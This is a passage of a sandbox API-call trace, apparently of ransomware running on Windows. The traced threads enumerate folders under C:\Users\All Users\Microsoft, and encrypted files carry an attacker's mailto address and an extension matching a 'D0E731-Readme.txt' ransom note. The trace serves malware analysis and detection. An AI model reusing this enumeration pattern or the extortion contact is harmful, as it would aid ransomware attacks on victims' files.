Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0171.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f92790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0171.021] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x888b6a65, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x888b6a65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0171.021] wcscmp (_String1="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", _String2=".") returned 1 [0171.021] wcscmp (_String1="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", _String2="..") returned 1 [0171.021] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f928f0 [0171.021] wcscpy (in: _Dest=0x2f928f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.021] wcscat (in: _Dest=0x2f928f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.021] wcscat (in: _Dest=0x2f928f0, _Source="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0171.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f928f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0171.022] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x888b6a65, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x888b6a65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0171.022] FindClose (in: hFindFile=0x2f800e0 | out: hFindFile=0x2f800e0) returned 1 [0171.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9bcd0) returned 1 [0171.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4a20) returned 1 [0171.023] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa150) returned 1 [0171.023] RtlExitUserThread (Status=0x0) Thread: id = 1819 os_tid = 0xf34 [0169.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f88d68 [0169.323] wcscpy (in: _Dest=0x2f88d68, _Source="C:\\Users\\All Users\\Microsoft\\Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0169.323] wcscat (in: _Dest=0x2f88d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\" [0169.323] wcscat (in: _Dest=0x2f88d68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\*" [0169.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9bf38 [0169.324] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80120 [0169.324] wcscmp (_String1=".", _String2=".") returned 0 [0169.324] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.325] wcscmp (_String1="..", _String2=".") returned 1 [0169.325] wcscmp (_String1="..", _String2="..") returned 0 [0169.325] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0169.325] wcscmp (_String1="Data", _String2=".") returned 1 [0169.325] wcscmp (_String1="Data", _String2="..") returned 1 [0169.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4360 [0169.325] wcscpy (in: _Dest=0x2fa4360, _Source="C:\\Users\\All Users\\Microsoft\\Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0169.325] wcscat (in: _Dest=0x2fa4360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\" [0169.325] wcscat (in: _Dest=0x2fa4360, _Source="Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0171.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa4360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0171.002] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0171.002] FindClose (in: hFindFile=0x2f80120 | out: hFindFile=0x2f80120) returned 1 [0171.002] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9bf38) returned 1 [0171.002] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88d68) returned 1 [0171.002] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa10e0) returned 1 [0171.002] RtlExitUserThread (Status=0x0) Thread: id = 1820 os_tid = 0xf38 [0169.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2fa0690 [0169.325] wcscpy (in: _Dest=0x2fa0690, _Source="C:\\Users\\All Users\\Microsoft\\Settings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings") returned="C:\\Users\\All Users\\Microsoft\\Settings" [0169.325] wcscat (in: _Dest=0x2fa0690, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\") returned="C:\\Users\\All Users\\Microsoft\\Settings\\" [0169.325] wcscat (in: _Dest=0x2fa0690, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\*") returned="C:\\Users\\All Users\\Microsoft\\Settings\\*" [0169.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c408 [0169.325] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Settings\\*", lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fca0 [0169.326] wcscmp (_String1=".", _String2=".") returned 0 [0169.326] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.326] wcscmp (_String1="..", _String2=".") returned 1 [0169.326] wcscmp (_String1="..", _String2="..") returned 0 [0169.326] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 1 [0169.326] wcscmp (_String1="Accounts", _String2=".") returned 1 [0169.326] wcscmp (_String1="Accounts", _String2="..") returned 1 [0169.326] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87888 [0169.327] wcscpy (in: _Dest=0x2f87888, _Source="C:\\Users\\All Users\\Microsoft\\Settings" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings") returned="C:\\Users\\All Users\\Microsoft\\Settings" [0169.327] wcscat (in: _Dest=0x2f87888, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\") returned="C:\\Users\\All Users\\Microsoft\\Settings\\" [0169.327] wcscat (in: _Dest=0x2f87888, _Source="Accounts" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts") returned="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts" [0171.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0171.000] FindNextFileW (in: hFindFile=0x2f7fca0, lpFindFileData=0x2f9c408 | out: lpFindFileData=0x2f9c408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accounts", cAlternateFileName="")) returned 0 [0171.001] FindClose (in: hFindFile=0x2f7fca0 | out: hFindFile=0x2f7fca0) returned 1 [0171.001] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c408) returned 1 [0171.001] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0690) returned 1 [0171.001] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63fb0) returned 1 [0171.001] RtlExitUserThread (Status=0x0) Thread: id = 1821 os_tid = 0xf3c [0169.327] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa43c0 [0169.327] wcscpy (in: _Dest=0x2fa43c0, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter" [0169.327] wcscat (in: _Dest=0x2fa43c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\" [0169.328] wcscat (in: _Dest=0x2fa43c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\*") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\*" [0169.328] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c1a0 [0169.328] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\*", lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c1a0) returned 1 [0169.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa43c0) returned 1 [0169.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f62dd0) returned 1 [0169.328] RtlExitUserThread (Status=0x0) Thread: id = 1822 os_tid = 0xf40 [0169.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2fa08f8 [0169.329] wcscpy (in: _Dest=0x2fa08f8, _Source="C:\\Users\\All Users\\Microsoft\\Spectrum" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Spectrum") returned="C:\\Users\\All Users\\Microsoft\\Spectrum" [0169.329] wcscat (in: _Dest=0x2fa08f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Spectrum\\") returned="C:\\Users\\All Users\\Microsoft\\Spectrum\\" [0169.329] wcscat (in: _Dest=0x2fa08f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Spectrum\\*") returned="C:\\Users\\All Users\\Microsoft\\Spectrum\\*" [0169.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c1a0 [0169.329] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Spectrum\\*", lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7faa0 [0169.329] wcscmp (_String1=".", _String2=".") returned 0 [0169.330] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.330] wcscmp (_String1="..", _String2=".") returned 1 [0169.330] wcscmp (_String1="..", _String2="..") returned 0 [0169.330] FindNextFileW (in: hFindFile=0x2f7faa0, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0169.330] FindClose (in: hFindFile=0x2f7faa0 | out: hFindFile=0x2f7faa0) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c1a0) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa08f8) returned 1 [0169.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c5c8) returned 1 [0169.330] RtlExitUserThread (Status=0x0) Thread: id = 1823 os_tid = 0xf44 [0169.331] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87ea0 [0169.331] wcscpy (in: _Dest=0x2f87ea0, _Source="C:\\Users\\All Users\\Microsoft\\Speech_OneCore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Speech_OneCore") returned="C:\\Users\\All Users\\Microsoft\\Speech_OneCore" [0169.331] wcscat (in: _Dest=0x2f87ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\") returned="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\" [0169.331] wcscat (in: _Dest=0x2f87ea0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\*") returned="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\*" [0169.331] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c1a0 [0169.331] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Speech_OneCore\\*", lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fa20 [0169.332] wcscmp (_String1=".", _String2=".") returned 0 [0169.332] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.332] wcscmp (_String1="..", _String2=".") returned 1 [0169.332] wcscmp (_String1="..", _String2="..") returned 0 [0169.332] FindNextFileW (in: hFindFile=0x2f7fa20, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0169.332] FindClose (in: hFindFile=0x2f7fa20 | out: hFindFile=0x2f7fa20) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c1a0) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87ea0) returned 1 [0169.332] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa210) returned 1 [0169.332] RtlExitUserThread (Status=0x0) Thread: id = 1824 os_tid = 0xf48 [0169.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87ea0 [0169.333] wcscpy (in: _Dest=0x2f87ea0, _Source="C:\\Users\\All Users\\Microsoft\\Storage Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health") returned="C:\\Users\\All Users\\Microsoft\\Storage Health" [0169.333] wcscat (in: _Dest=0x2f87ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\" [0169.333] wcscat (in: _Dest=0x2f87ea0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\*") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\*" [0169.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c1a0 [0169.333] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\*", lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x86a04522, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86a04522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7f960 [0169.335] wcscmp (_String1=".", _String2=".") returned 0 [0169.335] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x86a04522, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86a04522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.335] wcscmp (_String1="..", _String2=".") returned 1 [0169.335] wcscmp (_String1="..", _String2="..") returned 0 [0169.335] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a04522, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x86a04522, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86a04522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.335] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.335] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.335] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4dcad0, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x86a04522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1631, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STORAG~1.D0E")) returned 1 [0169.335] wcscmp (_String1="StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.335] wcscmp (_String1="StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.335] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0169.335] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\Users\\All Users\\Microsoft\\Storage Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health") returned="C:\\Users\\All Users\\Microsoft\\Storage Health" [0169.335] wcscat (in: _Dest=0x2f7e038, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\" [0169.335] wcscat (in: _Dest=0x2f7e038, _Source="StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageEventsArchive.dat.mailto[kokoklock@cock.li].d0e731" [0170.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f7e038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0170.997] FindNextFileW (in: hFindFile=0x2f7f960, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StorageHealthModel.dat", cAlternateFileName="")) returned 1 [0170.997] wcscmp (_String1="StorageHealthModel.dat", _String2=".") returned 1 [0170.997] wcscmp (_String1="StorageHealthModel.dat", _String2="..") returned 1 [0170.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x86) returned 0x2f831f8 [0170.997] wcscpy (in: _Dest=0x2f831f8, _Source="C:\\Users\\All Users\\Microsoft\\Storage Health" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health") returned="C:\\Users\\All Users\\Microsoft\\Storage Health" [0170.997] wcscat (in: _Dest=0x2f831f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Storage Health\\") returned="C:\\Users\\All Users\\Microsoft\\Storage Health\\" [0170.997] wcscat (in: _Dest=0x2f831f8, _Source="StorageHealthModel.dat" | out: 